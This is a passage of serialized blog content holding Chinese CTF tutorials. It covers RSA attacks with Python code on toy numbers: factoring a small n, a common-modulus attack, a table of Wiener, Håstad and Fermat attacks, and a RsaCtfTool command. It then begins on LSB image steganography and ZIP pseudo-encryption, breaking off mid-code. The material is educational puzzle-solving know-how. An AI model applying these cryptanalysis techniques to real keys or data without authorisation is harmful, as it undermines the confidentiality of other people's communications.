long_to_bytes(x)：把大整数转成字节串（高位在前），用于查看解密出的文本。\n\nn = 3233\ne = 17\nc = 2790\np, q = 53, 61\n\nphi = (p - 1) * (q - 1)\nd = pow(e, -1, phi)\nm = pow(c, d, n)\n# 解密：m = c^d mod n。\n\nprint(\"m =\", m)\nprint(long_to_bytes(m))\n# 65 对应 ASCII 字符 'A'，说明这个最小例子只能承载一个字节的明文；\n# 真实题目的 n 足够大，能装下整个 flag，方法完全一样。\n",[19,10745,10746,10751,10756,10760,10765,10770,10775,10780,10784,10788,10792,10797,10802,10806,10811,10816,10821],{"__ignoreMap":44},[48,10747,10748],{"class":50,"line":51},[48,10749,10750],{},"from Crypto.Util.number import long_to_bytes\n",[48,10752,10753],{"class":50,"line":68},[48,10754,10755],{},"# long_to_bytes(x)：把大整数转成字节串（高位在前），用于查看解密出的文本。\n",[48,10757,10758],{"class":50,"line":107},[48,10759,111],{"emptyLinePlaceholder":110},[48,10761,10762],{"class":50,"line":114},[48,10763,10764],{},"n = 3233\n",[48,10766,10767],{"class":50,"line":120},[48,10768,10769],{},"e = 17\n",[48,10771,10772],{"class":50,"line":126},[48,10773,10774],{},"c = 2790\n",[48,10776,10777],{"class":50,"line":132},[48,10778,10779],{},"p, q = 53, 61\n",[48,10781,10782],{"class":50,"line":137},[48,10783,111],{"emptyLinePlaceholder":110},[48,10785,10786],{"class":50,"line":143},[48,10787,10601],{},[48,10789,10790],{"class":50,"line":149},[48,10791,10611],{},[48,10793,10794],{"class":50,"line":155},[48,10795,10796],{},"m = pow(c, d, n)\n",[48,10798,10799],{"class":50,"line":160},[48,10800,10801],{},"# 解密：m = c^d mod n。\n",[48,10803,10804],{"class":50,"line":165},[48,10805,111],{"emptyLinePlaceholder":110},[48,10807,10808],{"class":50,"line":171},[48,10809,10810],{},"print(\"m =\", m)\n",[48,10812,10813],{"class":50,"line":177},[48,10814,10815],{},"print(long_to_bytes(m))\n",[48,10817,10818],{"class":50,"line":183},[48,10819,10820],{},"# 65 对应 ASCII 字符 'A'，说明这个最小例子只能承载一个字节的明文；\n",[48,10822,10823],{"class":50,"line":189},[48,10824,10825],{},"# 真实题目的 n 足够大，能装下整个 flag，方法完全一样。\n",[15,10827,3111],{},[39,10829,10832],{"className":10830,"code":10831,"language":287,"meta":44},[285],"m = 65\nb'A'\n",[19,10833,10831],{"__ignoreMap":44},[15,10835,10836,10839,10840,10842],{},[19,10837,10838],{},"65"," 对应的 ASCII 字符是 ",[19,10841,601],{},"。真实的明文是 flag 对应的长整数，但解密公式完全相同。",[462,10844,10846],{"id":10845},"_53-用-factordb-查","5.3 用 FactorDB 查",[15,10848,10849,10850,10854],{},"如果 n 太大本地分解不动，去 ",[3179,10851,10852],{"href":10852,"rel":10853},"https://factordb.com",[3183]," 粘贴 n 查询，或：",[39,10856,10858],{"className":383,"code":10857,"language":385,"meta":44,"style":44},"from factordb.factordb import FactorDB\n\nf = FactorDB(n)\nf.connect()\np, q = f.get_factor_list()\n",[19,10859,10860,10865,10869,10874,10879],{"__ignoreMap":44},[48,10861,10862],{"class":50,"line":51},[48,10863,10864],{},"from factordb.factordb import FactorDB\n",[48,10866,10867],{"class":50,"line":68},[48,10868,111],{"emptyLinePlaceholder":110},[48,10870,10871],{"class":50,"line":107},[48,10872,10873],{},"f = FactorDB(n)\n",[48,10875,10876],{"class":50,"line":114},[48,10877,10878],{},"f.connect()\n",[48,10880,10881],{"class":50,"line":120},[48,10882,10883],{},"p, q = f.get_factor_list()\n",[10,10885,10887],{"id":10886},"六核心步骤-3共模攻击","六、核心步骤 3：共模攻击",[462,10889,10891],{"id":10890},"_61-场景","6.1 场景",[15,10893,10894,10895,10897,10898,10901],{},"同一个 ",[19,10896,10509],{},"、两个互质的 ",[19,10899,10900],{},"e1, e2","、同一明文：",[39,10903,10906],{"className":10904,"code":10905,"language":287,"meta":44},[285],"c1 = m^e1 mod n\nc2 = m^e2 mod n\n",[19,10907,10905],{"__ignoreMap":44},[462,10909,10911],{"id":10910},"_62-数学原理","6.2 数学原理",[15,10913,10914,10916],{},[27,10915,252],{},"：理解为什么\"两个密文能拼出明文\"。",[15,10918,10919,10921],{},[27,10920,258],{},"：扩展欧几里得求出 a、b 使 a×e1+b×e2=1；把两个密文分别取 a、b 次方再相乘，指数恰好合并成 1，明文就还原了。验证方式：恢复结果与原始 m 相等。",[15,10923,10924,10925,10928],{},"扩展欧几里得算法求出 ",[19,10926,10927],{},"a, b"," 使：",[39,10930,10933],{"className":10931,"code":10932,"language":287,"meta":44},[285],"a × e1 + b × e2 = 1\n",[19,10934,10932],{"__ignoreMap":44},[15,10936,10937],{},"则：",[39,10939,10942],{"className":10940,"code":10941,"language":287,"meta":44},[285],"c1^a × c2^b\n= m^(a×e1) × m^(b×e2)\n= m^(a×e1 + b×e2)\n= m^1 = m (mod n)\n",[19,10943,10941],{"__ignoreMap":44},[462,10945,10947],{"id":10946},"_63-完整代码","6.3 完整代码",[39,10949,10951],{"className":383,"code":10950,"language":385,"meta":44,"style":44},"def egcd(a, b):\n    # 扩展欧几里得算法：返回 (gcd, x, y)，满足 a*x + b*y = gcd(a,b)。\n    if b == 0:\n        return a, 1, 0\n    g, x, y = egcd(b, a % b)\n    return g, y, x - (a // b) * y\n\nn = 3233\ne1, e2 = 17, 19\nm = 65\nc1 = pow(m, e1, n)      # 2790：e1 加密结果\nc2 = pow(m, e2, n)      # 232：e2 加密结果\n\n_, a, b = egcd(e1, e2)\n# 忽略第一个返回值（gcd=1），取 a、b。\nprint(\"a =\", a, \"b =\", b, \"a*e1+b*e2 =\", a*e1 + b*e2)\n# 应输出 a=9, b=-8，验证 9×17 + (-8)×19 = 1。\n\n# 负指数要先取模逆元\nif a \u003C 0:\n    c1 = pow(pow(c1, -1, n), -a, n)\n    # pow(c1, -1, n)：c1 在模 n 下的逆元；再取 -a 次方（-a 为正）。\nelse:\n    c1 = pow(c1, a, n)\nif b \u003C 0:\n    c2 = pow(pow(c2, -1, n), -b, n)\nelse:\n    c2 = pow(c2, b, n)\n\nrecovered = (c1 * c2) % n\n# c1^a × c2^b = m^(a·e1 + b·e2) = m^1 = m (mod n)。\nprint(\"恢复 m =\", recovered)\n# 预期 65，与原始 m 相等，攻击成功。\n",[19,10952,10953,10958,10963,10968,10973,10978,10983,10987,10991,10996,11000,11005,11010,11014,11019,11024,11029,11034,11038,11043,11048,11053,11058,11063,11068,11073,11078,11082,11087,11091,11096,11101,11106],{"__ignoreMap":44},[48,10954,10955],{"class":50,"line":51},[48,10956,10957],{},"def egcd(a, b):\n",[48,10959,10960],{"class":50,"line":68},[48,10961,10962],{},"    # 扩展欧几里得算法：返回 (gcd, x, y)，满足 a*x + b*y = gcd(a,b)。\n",[48,10964,10965],{"class":50,"line":107},[48,10966,10967],{},"    if b == 0:\n",[48,10969,10970],{"class":50,"line":114},[48,10971,10972],{},"        return a, 1, 0\n",[48,10974,10975],{"class":50,"line":120},[48,10976,10977],{},"    g, x, y = egcd(b, a % b)\n",[48,10979,10980],{"class":50,"line":126},[48,10981,10982],{},"    return g, y, x - (a // b) * y\n",[48,10984,10985],{"class":50,"line":132},[48,10986,111],{"emptyLinePlaceholder":110},[48,10988,10989],{"class":50,"line":137},[48,10990,10764],{},[48,10992,10993],{"class":50,"line":143},[48,10994,10995],{},"e1, e2 = 17, 19\n",[48,10997,10998],{"class":50,"line":149},[48,10999,10625],{},[48,11001,11002],{"class":50,"line":155},[48,11003,11004],{},"c1 = pow(m, e1, n)      # 2790：e1 加密结果\n",[48,11006,11007],{"class":50,"line":160},[48,11008,11009],{},"c2 = pow(m, e2, n)      # 232：e2 加密结果\n",[48,11011,11012],{"class":50,"line":165},[48,11013,111],{"emptyLinePlaceholder":110},[48,11015,11016],{"class":50,"line":171},[48,11017,11018],{},"_, a, b = egcd(e1, e2)\n",[48,11020,11021],{"class":50,"line":177},[48,11022,11023],{},"# 忽略第一个返回值（gcd=1），取 a、b。\n",[48,11025,11026],{"class":50,"line":183},[48,11027,11028],{},"print(\"a =\", a, \"b =\", b, \"a*e1+b*e2 =\", a*e1 + b*e2)\n",[48,11030,11031],{"class":50,"line":189},[48,11032,11033],{},"# 应输出 a=9, b=-8，验证 9×17 + (-8)×19 = 1。\n",[48,11035,11036],{"class":50,"line":195},[48,11037,111],{"emptyLinePlaceholder":110},[48,11039,11040],{"class":50,"line":201},[48,11041,11042],{},"# 负指数要先取模逆元\n",[48,11044,11045],{"class":50,"line":3660},[48,11046,11047],{},"if a \u003C 0:\n",[48,11049,11050],{"class":50,"line":3666},[48,11051,11052],{},"    c1 = pow(pow(c1, -1, n), -a, n)\n",[48,11054,11055],{"class":50,"line":3672},[48,11056,11057],{},"    # pow(c1, -1, n)：c1 在模 n 下的逆元；再取 -a 次方（-a 为正）。\n",[48,11059,11060],{"class":50,"line":3678},[48,11061,11062],{},"else:\n",[48,11064,11065],{"class":50,"line":3684},[48,11066,11067],{},"    c1 = pow(c1, a, n)\n",[48,11069,11070],{"class":50,"line":4449},[48,11071,11072],{},"if b \u003C 0:\n",[48,11074,11075],{"class":50,"line":4454},[48,11076,11077],{},"    c2 = pow(pow(c2, -1, n), -b, n)\n",[48,11079,11080],{"class":50,"line":4460},[48,11081,11062],{},[48,11083,11084],{"class":50,"line":4466},[48,11085,11086],{},"    c2 = pow(c2, b, n)\n",[48,11088,11089],{"class":50,"line":4471},[48,11090,111],{"emptyLinePlaceholder":110},[48,11092,11093],{"class":50,"line":4477},[48,11094,11095],{},"recovered = (c1 * c2) % n\n",[48,11097,11098],{"class":50,"line":4483},[48,11099,11100],{},"# c1^a × c2^b = m^(a·e1 + b·e2) = m^1 = m (mod n)。\n",[48,11102,11103],{"class":50,"line":4489},[48,11104,11105],{},"print(\"恢复 m =\", recovered)\n",[48,11107,11108],{"class":50,"line":4495},[48,11109,11110],{},"# 预期 65，与原始 m 相等，攻击成功。\n",[15,11112,3111],{},[39,11114,11117],{"className":11115,"code":11116,"language":287,"meta":44},[285],"a = 9 b = -8 a*e1+b*e2 = 1\n恢复 m = 65\n",[19,11118,11116],{"__ignoreMap":44},[10,11120,11122],{"id":11121},"七其他常见攻击速查","七、其他常见攻击速查",[294,11124,11125,11135],{},[297,11126,11127],{},[300,11128,11129,11132],{},[303,11130,11131],{},"场景",[303,11133,11134],{},"攻击",[313,11136,11137,11155,11163,11171,11179],{},[300,11138,11139,11148],{},[318,11140,11141,11144,11145],{},[19,11142,11143],{},"e=3"," 且 ",[19,11146,11147],{},"m^e \u003C n",[318,11149,11150,11151,11154],{},"直接开立方根（",[19,11152,11153],{},"gmpy2.iroot(c, 3)","）",[300,11156,11157,11160],{},[318,11158,11159],{},"同一明文发给 3 个不同 n",[318,11161,11162],{},"Håstad 广播攻击（中国剩余定理 + 开方）",[300,11164,11165,11168],{},[318,11166,11167],{},"e 特别大（d 很小）",[318,11169,11170],{},"Wiener 攻击（连分数）",[300,11172,11173,11176],{},[318,11174,11175],{},"p、q 很接近",[318,11177,11178],{},"Fermat 分解（平方差）",[300,11180,11181,11184],{},[318,11182,11183],{},"泄露 dp",[318,11185,11186,11187],{},"枚举 k，",[19,11188,11189],{},"p = (e*dp-1)//k + 1",[10,11191,709],{"id":708},[294,11193,11194,11204],{},[297,11195,11196],{},[300,11197,11198,11200,11202],{},[303,11199,718],{},[303,11201,721],{},[303,11203,724],{},[313,11205,11206,11224,11240],{},[300,11207,11208,11211,11222],{},[318,11209,11210],{},"pycryptodome",[318,11212,11213,530,11216,530,11219],{},[19,11214,11215],{},"long_to_bytes",[19,11217,11218],{},"inverse",[19,11220,11221],{},"pow(m,e,n)",[318,11223,754],{},[300,11225,11226,11229,11235],{},[318,11227,11228],{},"sympy",[318,11230,11231,11234],{},[19,11232,11233],{},"factorint"," 分解",[318,11236,11237],{},[19,11238,11239],{},"factorint(3233)",[300,11241,11242,11245,11248],{},[318,11243,11244],{},"RsaCtfTool",[318,11246,11247],{},"自动尝试多种攻击、从公钥文件读取",[318,11249,11250],{},[19,11251,11252],{},"./RsaCtfTool.py -n N -e E --uncipher C --attack all",[15,11254,11255,11256,11261],{},"FactorDB（",[3179,11257,11260],{"href":11258,"rel":11259},"https://factordb.com%EF%BC%89%E7%94%A8%E4%BA%8E%E6%9F%A5",[3183],"https://factordb.com）用于查"," n 的已知分解。",[10,11263,10361],{"id":10360},[15,11265,793],{},[39,11267,11270],{"className":11268,"code":11269,"language":287,"meta":44},[285],"n = 1000000016000000063\ne = 65537\nc = 856868007642616233\n",[19,11271,11269],{"__ignoreMap":44},[15,11273,11274],{},"说明：真实题目的 n 有数百位，这里为了能在本地秒级分解，使用 19 位 n；分解方法完全一致。",[462,11276,11278],{"id":11277},"第一步分解","第一步：分解",[15,11280,11281,11283],{},[27,11282,258],{},"：n 只有 19 位，sympy 的 factorint 用试除/快速算法秒级分解；若 n 更大，改用 yafu 或查 FactorDB。",[39,11285,11287],{"className":383,"code":11286,"language":385,"meta":44,"style":44},"from sympy import factorint\nprint(factorint(1000000016000000063))\n",[19,11288,11289,11293],{"__ignoreMap":44},[48,11290,11291],{"class":50,"line":51},[48,11292,10708],{},[48,11294,11295],{"class":50,"line":68},[48,11296,11297],{},"print(factorint(1000000016000000063))\n",[15,11299,3111],{},[39,11301,11304],{"className":11302,"code":11303,"language":287,"meta":44},[285],"{1000000007: 1, 1000000009: 1}\n",[19,11305,11303],{"__ignoreMap":44},[462,11307,11309],{"id":11308},"第二步解密","第二步：解密",[15,11311,11312,11314,11315,11318],{},[27,11313,258],{},"：与 5.2 完全相同的公式，只是参数换成实际值；输出 ",[19,11316,11317],{},"b'flag'"," 说明解密成功。",[39,11320,11322],{"className":383,"code":11321,"language":385,"meta":44,"style":44},"from Crypto.Util.number import long_to_bytes\n\nn = 1000000016000000063\ne = 65537\nc = 856868007642616233\np, q = 1000000007, 1000000009\n\nphi = (p - 1) * (q - 1)\nd = pow(e, -1, phi)\nprint(long_to_bytes(pow(c, d, n)))\n",[19,11323,11324,11328,11332,11337,11342,11347,11352,11356,11360,11364],{"__ignoreMap":44},[48,11325,11326],{"class":50,"line":51},[48,11327,10750],{},[48,11329,11330],{"class":50,"line":68},[48,11331,111],{"emptyLinePlaceholder":110},[48,11333,11334],{"class":50,"line":107},[48,11335,11336],{},"n = 1000000016000000063\n",[48,11338,11339],{"class":50,"line":114},[48,11340,11341],{},"e = 65537\n",[48,11343,11344],{"class":50,"line":120},[48,11345,11346],{},"c = 856868007642616233\n",[48,11348,11349],{"class":50,"line":126},[48,11350,11351],{},"p, q = 1000000007, 1000000009\n",[48,11353,11354],{"class":50,"line":132},[48,11355,111],{"emptyLinePlaceholder":110},[48,11357,11358],{"class":50,"line":137},[48,11359,10601],{},[48,11361,11362],{"class":50,"line":143},[48,11363,10611],{},[48,11365,11366],{"class":50,"line":149},[48,11367,11368],{},"print(long_to_bytes(pow(c, d, n)))\n",[15,11370,3111],{},[39,11372,11375],{"className":11373,"code":11374,"language":287,"meta":44},[285],"b'flag'\n",[19,11376,11374],{"__ignoreMap":44},[462,11378,11380],{"id":11379},"第三步工具验证","第三步：工具验证",[39,11382,11384],{"className":41,"code":11383,"language":43,"meta":44,"style":44},"./RsaCtfTool.py -n 1000000016000000063 -e 65537 --uncipher 856868007642616233 --attack all\n",[19,11385,11386],{"__ignoreMap":44},[48,11387,11388,11391,11393,11396,11398,11401,11404,11407,11410],{"class":50,"line":51},[48,11389,11390],{"class":54},"./RsaCtfTool.py",[48,11392,1157],{"class":219},[48,11394,11395],{"class":219}," 1000000016000000063",[48,11397,4268],{"class":219},[48,11399,11400],{"class":219}," 65537",[48,11402,11403],{"class":219}," --uncipher",[48,11405,11406],{"class":219}," 856868007642616233",[48,11408,11409],{"class":219}," --attack",[48,11411,11412],{"class":58}," all\n",[10,11414,906],{"id":905},[15,11416,11417,11418,11421],{},"RSA 解题顺序：",[27,11419,11420],{},"先查 n 能否分解（FactorDB/sympy）→ 能分解就按公式解密 → 不能分解就检查共模、低指数、Wiener、Fermat 等结构性错误","。每个攻击对应一种\"实现错误\"，识别特征后套模板即可。",[920,11423,3926],{},{"title":44,"searchDepth":68,"depth":68,"links":11425},[11426,11427,11428,11429,11430,11431,11432,11433,11434,11435],{"id":10473,"depth":107,"text":10474},{"id":33,"depth":107,"text":34},{"id":10537,"depth":107,"text":10538},{"id":10565,"depth":107,"text":10566},{"id":10683,"depth":107,"text":10684},{"id":10886,"depth":107,"text":10887},{"id":11121,"depth":107,"text":11122},{"id":708,"depth":107,"text":709},{"id":10360,"depth":107,"text":10361},{"id":905,"depth":107,"text":906},"RSA的DH 与公钥密码学背景、数论公式与小数字手算、小 n 分解解密、共模攻击的数学推导与代码。",{"date":938,"image":8324,"alt":11438,"tags":11439,"published":110},"RSA 深入实战",[942,3942,11440,943],"rsa","/blogs/ctf-crypto-rsa-deep-dive",{"title":10468,"description":11436},"blogs/19. ctf-crypto-rsa-deep-dive","cUGS-VePAPrg-FWNvg-OJ725RRZNhFybQstAdcvf9qo",{"id":11446,"title":11447,"body":11448,"description":12458,"extension":936,"meta":12459,"navigation":110,"ogImage":939,"path":12463,"seo":12464,"stem":12465,"__hash__":12466},"content/blogs/20. ctf-misc-stego-forensics-deep-dive.md","隐写与取证深入实战：LSB 隐写与 ZIP 伪加密",{"type":7,"value":11449,"toc":12448},[11450,11454,11460,11462,11496,11500,11504,11507,11513,11517,11522,11669,11679,11683,11688,11693,11796,11798,11803,11807,11820,11826,11830,11835,11840,11844,11847,11853,11860,11864,11869,11907,11909,11915,11918,11924,11928,11933,11990,11993,11999,12002,12040,12042,12048,12051,12055,12064,12119,12121,12127,12134,12138,12143,12148,12151,12249,12256,12262,12273,12275,12340,12344,12349,12354,12358,12360,12400,12403,12408,12414,12429,12432,12434,12445],[10,11451,11453],{"id":11452},"一现实背景文件头与压缩包","一、现实背景：文件头与压缩包",[15,11455,11456,11457,11459],{},"文件真实类型由文件头决定。ZIP 文件头是 ",[19,11458,4023],{},"，其内部结构里有\"加密标志位\"，出题人可以把标志位置 1 制造\"伪加密\"（数据其实没加密）。图片取证中，LSB 隐写把秘密藏在像素最低位。本文完整实现这两种技术。",[10,11461,34],{"id":33},[39,11463,11465],{"className":41,"code":11464,"language":43,"meta":44,"style":44},"apt install file binutils binwalk\npip3 install pillow\ngem install zsteg\n",[19,11466,11467,11480,11488],{"__ignoreMap":44},[48,11468,11469,11471,11473,11475,11477],{"class":50,"line":51},[48,11470,55],{"class":54},[48,11472,59],{"class":58},[48,11474,1033],{"class":58},[48,11476,1036],{"class":58},[48,11478,11479],{"class":58}," binwalk\n",[48,11481,11482,11484,11486],{"class":50,"line":68},[48,11483,71],{"class":54},[48,11485,59],{"class":58},[48,11487,4063],{"class":58},[48,11489,11490,11492,11494],{"class":50,"line":107},[48,11491,4707],{"class":54},[48,11493,59],{"class":58},[48,11495,4712],{"class":58},[10,11497,11499],{"id":11498},"三核心技能-1lsb-隐写完整实现","三、核心技能 1：LSB 隐写（完整实现）",[462,11501,11503],{"id":11502},"_31-原理","3.1 原理",[15,11505,11506],{},"像素每个通道 1 字节（0-255）。把字节最低位替换成秘密比特，值最多变化 1，肉眼不可察觉：",[39,11508,11511],{"className":11509,"code":11510,"language":287,"meta":44},[285],"原来: 11001000  10010110  01100100\n写入: 11001001  10010110  01100101   ← 最低位写入 1,0,1\n",[19,11512,11510],{"__ignoreMap":44},[462,11514,11516],{"id":11515},"_32-隐藏出题人视角","3.2 隐藏（出题人视角）",[15,11518,11519,11521],{},[27,11520,252],{},"：理解\"把秘密写进像素最低位\"的实现细节，才能反过来写出提取脚本。",[39,11523,11525],{"className":383,"code":11524,"language":385,"meta":44,"style":44},"from PIL import Image\n# PIL 是 Python 图像处理库，Image 模块负责打开、新建、保存图片。\n\nimg = Image.new('RGB', (8, 8), (200, 150, 100))\n# Image.new(mode, size, color)：新建图片。mode='RGB'，size=(8,8)，color 是初始色。\nmessage = \"flag{lsb_steganography}\"\n\ndata = message.encode() + b'\\x00'\n# encode()：字符串转字节；追加 b'\\x00' 作为结束符（提取时遇到 0 停止）。\nbits = ''.join(f'{b:08b}' for b in data)\n# 每个字节转成 8 位二进制字符串后拼接成一条长比特串。\npixels = list(img.getdata())\n# getdata()：取出所有像素，每项是 (r,g,b)。\n\nnew_pixels = []\ni = 0\nfor r, g, b in pixels:\n    if i \u003C len(bits):\n        r = (r & 0xfe) | int(bits[i]); i += 1\n        # r & 0xfe：最低位清零；| int(bits[i])：写入第 i 个秘密比特。\n    if i \u003C len(bits):\n        g = (g & 0xfe) | int(bits[i]); i += 1\n        # 绿色通道，同样处理。\n    if i \u003C len(bits):\n        b = (b & 0xfe) | int(bits[i]); i += 1\n        # 蓝色通道。三个通道依次消耗比特，直到消息写完。\n    new_pixels.append((r, g, b))\n\nimg.putdata(new_pixels)\n# putdata()：把修改后的像素写回图片。\nimg.save('hidden.png')\n# save()：保存为 PNG。\nprint(\"已生成 hidden.png\")\n",[19,11526,11527,11531,11536,11540,11544,11549,11553,11557,11561,11566,11570,11575,11579,11584,11588,11592,11596,11600,11604,11608,11613,11617,11621,11626,11630,11634,11639,11643,11647,11651,11656,11660,11665],{"__ignoreMap":44},[48,11528,11529],{"class":50,"line":51},[48,11530,4334],{},[48,11532,11533],{"class":50,"line":68},[48,11534,11535],{},"# PIL 是 Python 图像处理库，Image 模块负责打开、新建、保存图片。\n",[48,11537,11538],{"class":50,"line":107},[48,11539,111],{"emptyLinePlaceholder":110},[48,11541,11542],{"class":50,"line":114},[48,11543,4348],{},[48,11545,11546],{"class":50,"line":120},[48,11547,11548],{},"# Image.new(mode, size, color)：新建图片。mode='RGB'，size=(8,8)，color 是初始色。\n",[48,11550,11551],{"class":50,"line":126},[48,11552,4363],{},[48,11554,11555],{"class":50,"line":132},[48,11556,111],{"emptyLinePlaceholder":110},[48,11558,11559],{"class":50,"line":137},[48,11560,4372],{},[48,11562,11563],{"class":50,"line":143},[48,11564,11565],{},"# encode()：字符串转字节；追加 b'\\x00' 作为结束符（提取时遇到 0 停止）。\n",[48,11567,11568],{"class":50,"line":149},[48,11569,4387],{},[48,11571,11572],{"class":50,"line":155},[48,11573,11574],{},"# 每个字节转成 8 位二进制字符串后拼接成一条长比特串。\n",[48,11576,11577],{"class":50,"line":160},[48,11578,4402],{},[48,11580,11581],{"class":50,"line":165},[48,11582,11583],{},"# getdata()：取出所有像素，每项是 (r,g,b)。\n",[48,11585,11586],{"class":50,"line":171},[48,11587,111],{"emptyLinePlaceholder":110},[48,11589,11590],{"class":50,"line":177},[48,11591,4416],{},[48,11593,11594],{"class":50,"line":183},[48,11595,4421],{},[48,11597,11598],{"class":50,"line":189},[48,11599,4426],{},[48,11601,11602],{"class":50,"line":195},[48,11603,4431],{},[48,11605,11606],{"class":50,"line":201},[48,11607,4436],{},[48,11609,11610],{"class":50,"line":3660},[48,11611,11612],{},"        # r & 0xfe：最低位清零；| int(bits[i])：写入第 i 个秘密比特。\n",[48,11614,11615],{"class":50,"line":3666},[48,11616,4431],{},[48,11618,11619],{"class":50,"line":3672},[48,11620,4457],{},[48,11622,11623],{"class":50,"line":3678},[48,11624,11625],{},"        # 绿色通道，同样处理。\n",[48,11627,11628],{"class":50,"line":3684},[48,11629,4431],{},[48,11631,11632],{"class":50,"line":4449},[48,11633,4474],{},[48,11635,11636],{"class":50,"line":4454},[48,11637,11638],{},"        # 蓝色通道。三个通道依次消耗比特，直到消息写完。\n",[48,11640,11641],{"class":50,"line":4460},[48,11642,4486],{},[48,11644,11645],{"class":50,"line":4466},[48,11646,111],{"emptyLinePlaceholder":110},[48,11648,11649],{"class":50,"line":4471},[48,11650,4503],{},[48,11652,11653],{"class":50,"line":4477},[48,11654,11655],{},"# putdata()：把修改后的像素写回图片。\n",[48,11657,11658],{"class":50,"line":4483},[48,11659,4515],{},[48,11661,11662],{"class":50,"line":4489},[48,11663,11664],{},"# save()：保存为 PNG。\n",[48,11666,11667],{"class":50,"line":4495},[48,11668,4527],{},[15,11670,11671,11673,11674,4537,11676,11678],{},[19,11672,4532],{}," 清零最低位（",[19,11675,4536],{},[19,11677,4540],{}," 写入。",[462,11680,11682],{"id":11681},"_33-提取解题视角","3.3 提取（解题视角）",[15,11684,11685,11687],{},[27,11686,252],{},"：把像素最低位收集起来，每 8 位一组还原成字节，得到隐藏消息。",[15,11689,11690,11692],{},[27,11691,258],{},"：读取像素 → 依次取 R、G、B 最低位 → 8 位拼 1 字节 → 遇到 0 结束。",[39,11694,11696],{"className":383,"code":11695,"language":385,"meta":44,"style":44},"from PIL import Image\n\nimg = Image.open('hidden.png').convert('RGB')\n# Image.open：打开图片；convert('RGB')：统一为 RGB 模式。\nbits = []\nfor r, g, b in img.getdata():\n    bits += [r & 1, g & 1, b & 1]\n    # r & 1：取最低位（0 或 1），顺序与隐藏时一致。\n\ndata = bytearray()\nfor i in range(0, len(bits) - 7, 8):\n    # 每 8 个比特一组，步长为 8。\n    byte = 0\n    for bit in bits[i:i+8]:\n        byte = (byte \u003C\u003C 1) | bit\n        # 左移 1 位再或上当前比特，等价于二进制拼接。\n    if byte == 0:\n        # 字节 0 是隐藏时追加的结束符。\n        break\n    data.append(byte)\n\nprint(data.decode())\n# decode()：字节串解码成字符串。\n",[19,11697,11698,11702,11706,11710,11715,11719,11723,11727,11732,11736,11740,11744,11749,11753,11757,11761,11766,11770,11775,11779,11783,11787,11791],{"__ignoreMap":44},[48,11699,11700],{"class":50,"line":51},[48,11701,4334],{},[48,11703,11704],{"class":50,"line":68},[48,11705,111],{"emptyLinePlaceholder":110},[48,11707,11708],{"class":50,"line":107},[48,11709,4573],{},[48,11711,11712],{"class":50,"line":114},[48,11713,11714],{},"# Image.open：打开图片；convert('RGB')：统一为 RGB 模式。\n",[48,11716,11717],{"class":50,"line":120},[48,11718,4588],{},[48,11720,11721],{"class":50,"line":126},[48,11722,4593],{},[48,11724,11725],{"class":50,"line":132},[48,11726,4598],{},[48,11728,11729],{"class":50,"line":137},[48,11730,11731],{},"    # r & 1：取最低位（0 或 1），顺序与隐藏时一致。\n",[48,11733,11734],{"class":50,"line":143},[48,11735,111],{"emptyLinePlaceholder":110},[48,11737,11738],{"class":50,"line":149},[48,11739,4617],{},[48,11741,11742],{"class":50,"line":155},[48,11743,4622],{},[48,11745,11746],{"class":50,"line":160},[48,11747,11748],{},"    # 每 8 个比特一组，步长为 8。\n",[48,11750,11751],{"class":50,"line":165},[48,11752,4632],{},[48,11754,11755],{"class":50,"line":171},[48,11756,4637],{},[48,11758,11759],{"class":50,"line":177},[48,11760,4642],{},[48,11762,11763],{"class":50,"line":183},[48,11764,11765],{},"        # 左移 1 位再或上当前比特，等价于二进制拼接。\n",[48,11767,11768],{"class":50,"line":189},[48,11769,4657],{},[48,11771,11772],{"class":50,"line":195},[48,11773,11774],{},"        # 字节 0 是隐藏时追加的结束符。\n",[48,11776,11777],{"class":50,"line":201},[48,11778,3351],{},[48,11780,11781],{"class":50,"line":3660},[48,11782,4671],{},[48,11784,11785],{"class":50,"line":3666},[48,11786,111],{"emptyLinePlaceholder":110},[48,11788,11789],{"class":50,"line":3672},[48,11790,4680],{},[48,11792,11793],{"class":50,"line":3678},[48,11794,11795],{},"# decode()：字节串解码成字符串。\n",[15,11797,3111],{},[39,11799,11801],{"className":11800,"code":4691,"language":287,"meta":44},[285],[19,11802,4691],{"__ignoreMap":44},[462,11804,11806],{"id":11805},"_34-工具验证","3.4 工具验证",[39,11808,11810],{"className":41,"code":11809,"language":43,"meta":44,"style":44},"zsteg -a hidden.png\n",[19,11811,11812],{"__ignoreMap":44},[48,11813,11814,11816,11818],{"class":50,"line":51},[48,11815,4717],{"class":54},[48,11817,4720],{"class":219},[48,11819,4093],{"class":58},[15,11821,11822,11823,30],{},"预期输出中包含 ",[19,11824,11825],{},"flag{lsb_steganography}",[10,11827,11829],{"id":11828},"四核心技能-2zip-伪加密完整实现","四、核心技能 2：ZIP 伪加密（完整实现）",[15,11831,11832,11834],{},[27,11833,252],{},"：理解 ZIP 的\"加密标志位\"结构，学会修复伪加密。",[15,11836,11837,11839],{},[27,11838,258],{},"：先看正常 zip 的十六进制，找到标志位位置；把加密位置 1 模拟伪加密（此时解压报\"需要密码\"）；再把位置 0 修复，验证能正常读出内容。",[462,11841,11843],{"id":11842},"_41-zip-结构","4.1 ZIP 结构",[15,11845,11846],{},"本地文件头：",[39,11848,11851],{"className":11849,"code":11850,"language":287,"meta":44},[285],"偏移   字段\n0x00  签名 50 4B 03 04\n0x04  版本（2 字节）\n0x06  通用标志位（2 字节，第 0 位 = 加密位）\n",[19,11852,11850],{"__ignoreMap":44},[15,11854,11855,11856,11859],{},"中央目录头（签名 ",[19,11857,11858],{},"50 4B 01 02","）中标志位位于偏移 0x08。",[462,11861,11863],{"id":11862},"_42-生成-zip-并查看结构","4.2 生成 zip 并查看结构",[15,11865,11866,11868],{},[27,11867,252],{},"：建立\"正常 zip\"的基线，确认本地文件头与中央目录头中标志位的位置。",[39,11870,11872],{"className":383,"code":11871,"language":385,"meta":44,"style":44},"import zipfile\n\nwith zipfile.ZipFile('flag.zip', 'w') as z:\n    z.writestr('flag.txt', 'ctf{zip}')\n\ndata = open('flag.zip', 'rb').read()\nprint(' '.join(f'{b:02x}' for b in data[:60]))\n",[19,11873,11874,11879,11883,11888,11893,11897,11902],{"__ignoreMap":44},[48,11875,11876],{"class":50,"line":51},[48,11877,11878],{},"import zipfile\n",[48,11880,11881],{"class":50,"line":68},[48,11882,111],{"emptyLinePlaceholder":110},[48,11884,11885],{"class":50,"line":107},[48,11886,11887],{},"with zipfile.ZipFile('flag.zip', 'w') as z:\n",[48,11889,11890],{"class":50,"line":114},[48,11891,11892],{},"    z.writestr('flag.txt', 